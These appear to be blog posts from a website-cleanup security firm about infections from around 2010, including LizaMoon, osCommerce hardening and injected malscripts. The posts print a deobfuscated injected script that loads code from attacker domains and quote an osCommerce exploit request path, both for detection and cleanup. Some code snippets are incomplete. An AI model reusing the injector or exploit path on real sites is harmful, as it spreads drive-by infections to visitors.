The Lizamoon Website Infection

It was reported by Websense here about a new infection that’s hit thousands of websites.

This infection is referred to as LizaMoon because that is the first, and most popular domain seen in this infection. I think, instead of lizamoon, it could be referred to as the “ur.php” infection, but that’s just my opinion.

You can tell if your website has this if any of your pages, when viewed through a browser, have code inserted that looks like:

lizamoon sql injection

Some common traits that are interesting to note are:

1. The script tags have the < and > code instead of the “<" and ">”
2. The inserted code appears in the title tag
3. The inserted code appears in many drop-down listings
4. The infection appears to be only in .asp, .aspx and .cfm web pages

Many of these traits do lead to an apparent SQL injection due to where they’re located in the rendered webpage. Websense commented on their blog that this might be tracked to a vulnerability in Microsoft’s SQL 2003 and 2005. We don’t doubt their findings, but we could not confirm that ourselves, however, seeing that the infected sites are based on either ASP(X) or Cold Fusion, it does lead us to believe this.

Other domains used in this infection:

…and many others and the list will definitely be changing as this moves forward.

Many of the sites used as redirections in this infection are the fake anti-virus based websites where they (the hackers) try to trick the visitor into believing their PC is infected.

At the time we investigated this, we found that the fake anti-virus software these sites attempt to install on a visitor’s PC is known as “Windows Stability Center”. Currently this is only detected by 13 out of 43 different anti-virus programs – so it’s effectiveness could be quite high.

To check your website, you could either perform SQL queries or export your database and do text search for the string: “ur.php” as that file seems associated with all the domains used in this infection.

Whether you want to call this the Lizamoon infection or use my suggestion of the “ur.php” infection, it’s infecting thousands of websites. As of this writing a Google search on the above script string shows 531,000 results.

Please comment on what you think about this. Have you been infected by this? Anyone have further insight?


Why You Should Never Avoid Free WordPress Themes Just Because They’re Encoded

This might be a little on the controversial side, but as a security specialist, I believe that too often people are getting “hyped-up” over obfuscated code.

I recently read a blog post titled, “Why You Should Never Search For Free WordPress Themes in Google or Anywhere Else” and while I commend the writer for researching this topic, I also felt compelled to write this rebuttal.

Too often people start reading that hackers are using base64_decode in their infections and then begin searching their sites for this string and become alarmists when they find it.

“Oh no! How did this happen to my site?”

“What do I do now?”

People – it’s used in many, many legitimate ways as well.

Not to discredit the author of the original research, but I did want to provide further details from a security specialists point of view.

I’ll dive into a few of the themes that were listed in the original post.

1. Downloading PRiNZ Branford Magazine theme from resulted in a zip file that required a password. Further investigation uncovered this as a possible unauthorized copy of an older version of this theme. While this theme may be harmful to your website, we decided to drop our investigation of this one as you can’t open the downloaded copy from anyway.

Result: BAD!!! If you want this theme, get it from and pay the $40 – $45 and be done with it.

2. We downloaded the BeautyStore theme from and looked at the footer.php which was identified by the original poster as having “severe warnings”. Our deobfuscator showed us this in the footer.php:

deobfuscated php code

Nothing malicious looking there. Appears to be typical footer type code.

Result: Safe. This is an example of not fully decoding or deobfuscating code and assuming it’s bad – this isn’t.

3. We downloaded a number of themes from the site:, however out of 4 downloads, they were all empty. Not sure what was going on there.

From the research performed by the original poster, you can remove the links and have a nice theme. You can’t assume that code using an eval statement is bad. It’s used millions of times in legitimate code.

4. I’ll agree with the original poster on the them downloaded from FreeWPThemes – they should be updated to conform with the WordPress 3.0 standards.

Result: I’d look for other themes that have been updated.

5. Obviously getting free WordPress themes from is going to be your safest option of them all.

Result: Go ahead and do it.

6. The FUNDA theme from was downloaded and analyzed next.

In the original poster’s review of this theme, a number of eval(base64_decode strings were identified.

The first one we looked at was in the file: functions.php. It starts out:

This decoded to:

Again – safe.

Analyzing the other base64_decode strings in the functions.php file showed they were harmless as well. I will admit that there are links to various websites embedded in the base64_decodings, but they are harmless. If I were to make a suggestion to the people running the website we downloaded this theme from, it would be to stop using popular themes to build their backlinks.

The website: is registered to: Artem Minaev. One of the links embedded in the base64_decode string is:, which is a private domain registration so we don’t know who it belongs to, but someone at is getting something out of embedding links. We downloaded the FUNDA theme from and found it did not have any of the links or base64_decode in it so we can only conclude that it was embedded at Rock-kitty.

Result: While maybe sneaky, the theme downloaded from Rock-kitty is safe, although I would download it from instead.

Closing: I’m not going to bore you with the details of the other themes. The point here is that you can’t just assume that since a theme, a widget or a plugin is using base64_decode, that it’s bad or malicious.

I do give an “up-top”, as my wife would say, to the original poster for the research, but I would declare many of the themes safe.

If there’s a theme you want analyzed by us, send me an email or post a comment here with the website link and we’ll download it, analyze it and report on it. If this becomes a real popular topic, we’ll create a free analyzer and post it on our website.

Thank you for reading this far. Let’s be safe out there, but not make false accusations of harmless themes.


What were the greatest risks online in 2010?

While I was reading Trend Micro’s blog ( I felt compelled to share it with our readers and give you my comments on it as well.

I’ll skip the hardware section as I’m sure not many of us use the German Identification card reader.

The first section I’ll comment on is Website Software. Here they list WordPress as the riskiest software used by websites in 2010. Is it really the riskiest? Or are the unpatched, non-updated sites the riskiest?

Trend Micro’s blog does state that tens of thousands of unpatched WordPress blogs were used by cybercriminals. So they do differentiate there. But as far as I’m concerned, there is other website software that is a greater risk than WordPress. At least WordPress is patched on a continual basis.

Something like osCommerce might be riskier. It hadn’t been updated in awhile and because it’s used for ecommerce, the hackers have more to gain by infecting osCommerce sites than they do a blog – don’t you agree? Wouldn’t stolen credit cards be a greater risk than infecting a blog?

I know that quite often the hackers are after infecting PCs and the best way of accomplishing that task is through the browser via websites, but if they can get a frequently used ecommerce site and just steal the information there, they don’t even have to worry about the circumventing the anti-virus protection on a PC.

Granted, there are probably more outdated WordPress blogs than there are vulnerable ecommerce sites, but is that really riskier?

The next category in the Trend Micro blog was IP (Internet Protocol). Here they list Internet Relay Chat (IRC) as the riskiest protocol. Again, I don’t totally disagree with them, but their reason is that 30% of all botnets used IRC to communicate with infected machines. Does that make it a greater risk?

Is IRC something that should be blocked by most firewalls? I belive so. But to classify it as the riskiest IP, I’m not sure I buy into that. If you go with their logic for listing WordPress as the riskiest software because it’s used most often by hackers, then why isn’t HTTP the riskiest IP? That’s how most infections happen is through infected websites.

This next category is sure to get a rise out of my friend Danny and my brother-in-law.

The riskiest operating system, according to Trend Micro’s research was…Apple’s Mac OS X. Again, as much as I’d like to jump up and cheer at the top of my lungs, it just isn’t going to happen.

I agree that many Mac users feel they’re impervious to infectious websites because “I have a Mac” and that this thinking alone makes many Mac users more prone to infection, I can’t agree that this is the riskiest operating system.

I enjoy my canned response when someone with a Mac tells me they never worry about viruses since they have a Mac. I reply with, “Without any way of detecting it (since rarely do they have an anti-virus installed on their Macs) how do you know?”

That’s just me being me. But I still can’t agree with Trend Micro.

My last disagreement with them is their pick for the most infectious website – Google.


The rulers of the Internet (I say that with the utmost respect for Google) are the most infectious website? I don’t agree. Trend Micro’s research states that “It’s tremendous popularity led cybercriminals to target it specifically for blackhat SEO-related schemes…”

Just because you’re popular and used by cybercriminals for their nefarious schemes doesn’t make you risky. With that thinking in mind, I might list the Detroit Redwings website as the riskiest.

Do we need more Redwings fans? I think not! (This is totally based on my lifelong love affair with the Blackhawks and nothing more.)

The last category I’ll comment on is Social Network. Trend Micro’s research lists Facebook. They say, “Facebook could be considered the most dangerous social networking site around.”

Here, I agree. Think of how much time is wasted by people snooping into other people’s lives. Think of how much time people spend on Farmville. What if we got everyone to focus on a cure for cancer during their usual time of playing on Farmville.

Come on, let’s rally the troops here and cure cancer.

Next, for a special certain someone, we’ll knock out AIDS – worldwide. (That would prevent a trip to Africa.)

After AIDS, we’ll cure ALS. All this with time spent playing Farmville. After ALS we’ll have to cure racism, prejudging and hatre, just to make it a perfect world.

Now I realize that many aren’t going to agree with my disagreements -but that’s the beauty of the Internet. You can voice your opinion and in the end we can agree to disagree.

What’s your opinion?

Please share it.

Thank you.


Google’s newest warning

Google has increased it’s warning system for suspicious, compromised or hacked websites.

If you use Google for online search, you may start seeing warnings like:

This site may be compromised.

According to Google’s Support page:
To protect the safety of our users, we show this warning message for search results that we believe may have been hacked or otherwise compromised. If a site has been hacked, it typically means that a third party has taken control of the site without the owner’s permission. Hackers may change the content of a page, add new links on a page, or add new pages to the site. The intent can include phishing (tricking users into sharing personal and credit card information) or spamming (violating search engine quality guidelines to rank pages more highly than they should rank).

This means that when the Google bot was indexing your website, it didn’t see any malscripts that could harm your computer, but they did see something that indicates to them, that the website has been tampered with. Maybe the hackers are trying to poison Search Engine Result Pages (SERPs), or the site has some files added to it that allow hackers to use it for phishing schemes (fake bank sites, etc).

For website owners, it means that Google is once again trying to protect their users – the website visitors. While this may seem out of their realm of responsibilities, think of this way. If Google didn’t protect their users, website visitors, then people may not be so quick to use Google as their default search engine.

We see many times in the various forums we frequent, where a website owner has had one of their websites flagged by Google and the website owner is complaining about where Google’s responsibilities end. However, if Google didn’t champion this cause, then who would?

They are taking various precautions – they send out emails to various webmaster accounts notifying the warning label placed on the suspicious website. Some say they should do more before blocking a website.

That decision remains with Google.

Also, keep in mind that Google could just drop the listed website from the search engine listings altogether. But no, they decided to reach out to the website owner in ways they know, and try to alert the website owner to potential problems.

Is it flawless?

Probably not. But in the time we’ve been cleaning websites, 4 years, we’ve seen only a handful of cases where Google was wrong. According to some statistics, there are approximately 40,000 websites infected every week. If Google has been wrong only a few times, we think that a pretty good batting average.

What’s your opinion about this?

Leave a comment.

If your website has been infected, email me at and we’ll get you cleaned up and back in Google’s good graces (SERPs) as quickly as possible.


Twitter and Google’s – a deadly combination

If you or anyone you know uses Twitter, you should know about a virus that’s spreading.

Twitter, the 140 character online micro-blogging service, has become the victim of a virus that is spreading through malicious hyperlinks that are meant to look like Google’s URL shortener (

URL shortening services are needed with Twitter because of the 140 character limitation. Google’s recent entry into this market is You could use and cut and paste the URL for this blog post into their box and you might see something like: Which, when you’re limited to 140 characters, allows you to also comment about the blog post as well. (I’m just sayin’)

Yesterday, December 7th, messages using the Google URL shortener were being posted on Twitter’s site. Many of these are malicious redirects. Any unsuspecting reader who clicks on one of these will first be sent to the website of Artcan Development a French furniture seller and then redirected to a variety of infectious websites.

If you see a Tweet (ouch) that uses this URL:, don’t click on it. That’s the redirect URL and you will be subject to an infectious website.

One website, The Next Web ( has reported that hackers apparently infiltrated the furniture company’s website and loaded it with forwarding scripts, which redirect users to malicious sites. The source also notes that these hyperlinks are included in messages that offer users an easy way for them to track who follows and unfollows them, so beware of these messages as well.

It appears that this scheme is not only using newly created Twitter accounts, but valid, legitimate, existing accounts as well. This makes the virus/worm even more effective as quite frequently those of us in the security industry tell users not to click on any link unless you know who it’s from. In this case, that could get you infected.

Reports indicate that Twitter is aware of the situation and is taking corrective action – but readers should alert any friends, relatives or associates who might be Twitter fans.

If you have already clicked on one of the links you should immediately revoke all followers’ access to your feed to try and stop the spreading of this infection.

I have been preaching against using these URL shortening services for some time. Back on Februrary 24, 2009 I blogged about this type of infection:

I understand the marketing potential in a service like Twitter, I just want you to be safe out there. If you have a comment, please leave it below. If you like this, share it with people you know.

Thank you.


Securing osCommerce

We’ve been cleaning many websites that use osCommerce as their shopping cart and felt it necessary to shed some light on what we’ve been seeing and what we’ve done to help our clients stay safe.

First of all, the two most common files that hackers search for on an osCommerce based website are: file_manager.php AND define_language.php.

Often times we’ve seen hacker forums where working exploit code is posted and in about 99% of the cases, the code targets these two files.

One site used this string in their attack:

/admin/file_manager.php/login.php?action=save HTTP/1.1\r\n

Other attacks use the login.php file in addition to another .php file to do various nefarious activities. The hackers can use your osCommerce site to send out mass emails, or to see the last group of orders placed on your site.

What can you do to prevent this?

A few things. First, you have to rename the admin folder. This by itself won’t end it, but it’s what referred to as “security by obscurity”. You’re basically not fixing the problem, just hiding it better.

We suggest that you follow these steps:

  • Edit /admin/includes/configure.php and change the location of the admin folder. There will be two lines you have to edit:
  1. define(‘DIR_WS_ADMIN’, ‘/admin/’);  
  2. define(‘DIR_FS_ADMIN’, ‘/home/whatever/public_html/admin/’);

In both of the above lines, you’ll want to change ‘admin’ to whatever you’re going to rename your admin folder to.

  • Next, edit admin/includes/boxes/tools.php and comment out these two lines:

‘<a href=”‘ . tep_href_link(FILENAME_FILE_MANAGER) . ‘”>’ . BOX_TOOLS_ FILE_MANAGER. ‘</a><br>

‘<a href=”‘ . tep_href_link(FILENAME_DEFINE_LANGUAGE) . ‘”>’ . BOX_TOOLS_ DEFINE_LANGUAGE. ‘</a><br>

Note: comment them out by adding two ‘/’ to the beginning of the line

Next, delete file_manager.php and define_language.php. You will not need them and they are no longer functional so you may as well get rid of them.

Now rename your admin folder to whatever you set in the configure.php file above.

So far, you’ve hidden the admin folder (security by obscurity), disabled the two most sought after files for hackers, now let’s really lock this down.

In your /newly renamed admin folder/includes/application_top.php file, locate the following code:

// redirect to login page if administrator is not yet logged in
if (!tep_session_is_registered(‘admin’)) {
    $redirect = false;

Replace it with this code:

// redirect to login page if administrator is not yet logged in
$doublephp_test = strtolower($_SERVER[‘PHP_SELF’]);
if((substr_count($doublephp_test,’.php’)) > 1 ) {
if (!tep_session_is_registered(‘admin’)) {
$redirect = false;

This prevents the hackers from using two .php files in the same URL, thus thwarting many of their other attacks.

One other suggestion we have. Since we often times find malicious .php files hidden in the images folders, you can use a simple .htaccess file to disable php functionality in any folder it shouldn’t be in.

Here’s what we’ve been using:


add this to includes and images folder for better website security

This will not allow any .php files from functioning or if placed in an includes folder will not allow any of the .php files to be accessed directly from a URL. The files in includes folders are typically that, “included” in other files. The above .htaccess file placed in an includes folder restricts them to just be “included” and not accessed directly.

The last thing to check is file and folder permissions. When we monitor sites, we always check the file and folder permissions. When securing an osCommerce, file and folder permissions become critical.

All files, except the configure.php files, should not have permissions any higher than 644. The two configure.php files should be set to 444 or 400 depending on your hosting provider. We have heard of reports where osCommerce will not work on some servers without some files and folders being set to 777 which is world readable and world writable (bad, very, very bad). The common suggestion here is to switch hosting providers – immediately.

Folder permissions should be set no higher than 755 when securing osCommerce. Quite often while cleaning a new client’s website, we’ll see many folders set to 777. We’re not sure how they got that way, if the hackers did it after they infected the website or if they were set that way to begin with and it made the hacker’s job that much easier – but either way, we set them to 755 and then test the site to make sure nothing “breaks” after applying security settings.

With any of the suggestions we’ve provided here, please make a full back-up of your site before making any modifications. Then try one at a time and test. If it doesn’t work, then remove it. But these are steps we’ve taken with our clients who are based on osCommerce and they’ve all worked well.

In closing, if you would like us to apply these changes to your site, please send an email to: We know how important software updates like this are which is why this and many software updates are “included” in our standard service along with our monitoring and cleaning services (now only $39.95 per year per site). It’s our way of helping you prevent website infections.

By compromised

According to Proftpd’s website:

The ProFTPD Project team is sorry to announce that the Project’s main FTP server, as well as all of the mirror servers, have carried compromised versions of the ProFTPD 1.3.3c source code, from the November 28 2010 to December 2 2010. All users who run versions of ProFTPD which have been downloaded and compiled in this time window are strongly advised to check their systems for security compromises and install unmodified versions of ProFTPD.

Anyone running a dedicated server or anyone responsible for updating software on dedicated servers, please read and upgrade accordingly.

This just shows how focused hackers are at attacking whatever they can. Please follow their suggestion:

To verify the integrity of your source files, use the PGP signatures which can be found here as well as on the FTP servers.

By infections

We’ve been seeing more website infections with a malscript that looks like:

(opening script tag) src="hxxp:// /Website.js">(closing script tag)

Note: We’ve also seen this same this but with nuttypiano replacing riotassistance.

Sometimes the last part: Website.js is something else:


and a few others. The common pattern here is obviously the domain and the last part of the URL has an upper-case first letter and is usually some random, but familiar word.

The other identifier is the seemingly useless string immediately following the malscript. In the example above it’s the:

Keep in mind that this will be different for each website, at least from what we’ve seen so far.

This malscript and it’s associated string has been found in index files and files that start with the word main, or in the footer.php file on WordPress sites. The footer.php that will be infected is usually in the theme folder for your site. So if you’re using the default theme, it will be the footer.php file in the theme/default folder on your site.

This same infection has been found in .js files as a document.write at the bottom of the .js file, such as this:


Time to dig a little deeper…

We find that this domain is registered:

person: Private Person
phone: +7 8482 735000
registrar: NAUNET-REG-RIPN

According to, this registrar has 126 sites that associated to Zeus: associated to Zeus registrar

We also find that the above listed email address is only registered on 4 other domains.

As far as cleaning this goes, obviously remove the malscript from your pages or replace the pages with known good backups.

From what we’ve found so far, this website infection happens via stolen FTP credentials. These FTP credentials are stolen by a virus/trojan on a PC that’s been used to FTP files to the infected website.

First, change all FTP passwords – immediately.

Second, run a full virus scan on all PCs used to FTP files to the infected website. This includes developers, authors, etc.

Third, if your site has been listed as suspicious by Google, request a review from the Google Webmaster Tools.

Post here if you have questions or send me an email if you’d like further help in cleaning this up.

Thank you.


toobarcom, mybar, adsnet infections

Over the past week or so, we’ve been fighting a new website infection. At first, it appeared to be infecting just one hosting provider, but as we investigated further, we found it was affecting websites on many hosting providers. I’m sorry that it’s taken so long to write about this but we’ve been seeing various new backdoors added to sites and I wanted to fully analyze those before writing this.

What we’re seeing is a malscript inserted either immediately before the legitimate code in certain .js (javascript) files or inserted in html and php files. If it’s in a .js file, you have to be careful because it appears to be part of the entire javascript code. There’s no spaces or line breaks between the malicious code and the legitimate code.

In .html and .php files we’ve usually seen it enclosed by ‘ads’ tags and script tags.

We’ve seen two variations of the malicious code:

The first one starts with:

var st1 = ;this.b=this.M="";this.A="";this.w=false;""...

and ends with:

var gr0=0;

The second starts with:
var st1 = 0;document. write( unescape('%3C%73...

and ends with:


We’ll examine each one here to let you know what they’re doing.

The first one deobfuscates to this:

var a=window.navigator.userAgent,b=/(yahoo|search|msnbot|yandex|googlebot|bing|ask)/i,c=navigator.appVersion; if(document.cookie.indexOf("holycookie")==-1&&!a.toLowerCase().match(b)&&c.toLowerCase().indexOf("win")!=-1){var d=["","","","",""],e=["axe.","box.","cox.","dex.","fax.","fix.","fox.","gox.","hex.","kex.","lax.","lex.",
dt=new Date;dt.setTime(dt.getTime()+9072E4);document.cookie="holycookie="+

document. write ('(script tag) src=" hxxp: // '+e[g]+d[f]+'/system/caption.js" type="text/javascript">(script tag)

When looking at this code, you’ll see that is uses a variety of user-agent strings:

  • yahoo
  • search
  • msnbot
  • yandex
  • googlebot
  • bing
  • ask

Then creates an array of domains:


and then creates an array of prefixes:

  • axe.
  • box.
  • cox.
  • dex.
  • fax.
  • fix.
  • fox.
  • gox.
  • hex.
  • kex.
  • lax.
  • lex.
  • lox.
  • lux.
  • max.
  • mix.
  • nix.
  • oxo.
  • oxy.
  • pax.
  • pix.
  • pox.
  • pyx.
  • rax.
  • rex.
  • sax.
  • sex.
  • six.
  • sox.
  • tax.
  • tux.
  • vex.
  • vox.
  • wax.
  • xis.
  • zax.

When you consider the number of possible combinations of domains and subdomains, this becomes quite clear the hackers were looking to hide their locations.

The final part of the code puts it all together and adds a little more to the URL:

document. write(' (script tag) src="hxxp : //'+e[g]+d[f]+'/system/caption.js" type="text/javascript">(script tag)

adding the ‘/system/caption.js’ to the end of whatever domain string it’s built.

So a typical string after this first code is decoded might look like:

(script tag) type="text/javascript" src="hxxp: //">
(script tag)

The second obfuscated string from above, uses the same basic methodology but uses these domains:


and appends one of these strings to the front:

  • aqua.
  • azure.
  • black.
  • blue.
  • brown.
  • chocolate.
  • coral.
  • cyan.
  • darkred.
  • fuchsia.
  • gold.
  • gray.
  • green.
  • indigo.
  • ivory.
  • khaki.
  • lime.
  • magenta.
  • maroon.
  • navy.
  • olive.
  • orange.
  • pink.
  • plum.
  • purple.
  • red.
  • silver.
  • snow.
  • violet.
  • white.
  • yellow.

This malscript creates a document.write string that uses one of the above prefixes, one of the above domains and adds ‘/data/mootools.js’ to the end to complete the malscript.

If you’re looking for this malscript in your website, please make sure you grab the entire line all the way to ‘var gr0=0;’ (without the quotes) and nothing more. Otherwise, your legitimate code won’t function properly and you’ll have to restore from backup. Which, may not be a bad thing – unless, of course, you don’t have a good backup.

We’re still investigating how this infection starts. At first we thought it was WordPress based sites only. Then we realized that it was also infecting non-Wordpress sites. It might be the old compromised FTP credentials, but we haven’t been able to gather all our data yet. When we do, we’ll post an update here.

We’re also going to post about the backdoors we’ve found and you can search your site for them as well.

Until then, if you’re infected with this or if Google shows any of these domains in your Safe Browsing Diagnostic report (, and you’d like us to clean it for you, please send me an email at

Thank you.


Vancouvererrorsonfile infection

Over the past few days we’ve cleaned 312 infected websites all with the script:

(spaces added so it doesn’t set an alarm with your anti-virus program).

As of right now the following sites don’t recognize as being malicious:

  • Google
  • Norton
  • rfc_ignorant
  • malc0de

However, McAfee’s SiteAdvisor and hpHosts do recognize it as being malicious.

At first it appeared that it was specific to one or two hosting providers, however as the infection carried on, we found it on at least 12 different hosting provider’s networks.

Looking at the server where this site is hosted, reveals other domains that have been used in various malscripts as well:


and a few others.

These domains are all registered by the same person: This person is the contact person on whois records for 337 domains.

The name servers for are:


Our service contiues to see these infections and clean them, even though these domains are not yet registered within Google’s Safe Browsing malware list. They have been submitted.

If you are infected with this, you can contact me at and we will clean it for you.

If you have any other information to submit, please feel free to post comments.

Thank you.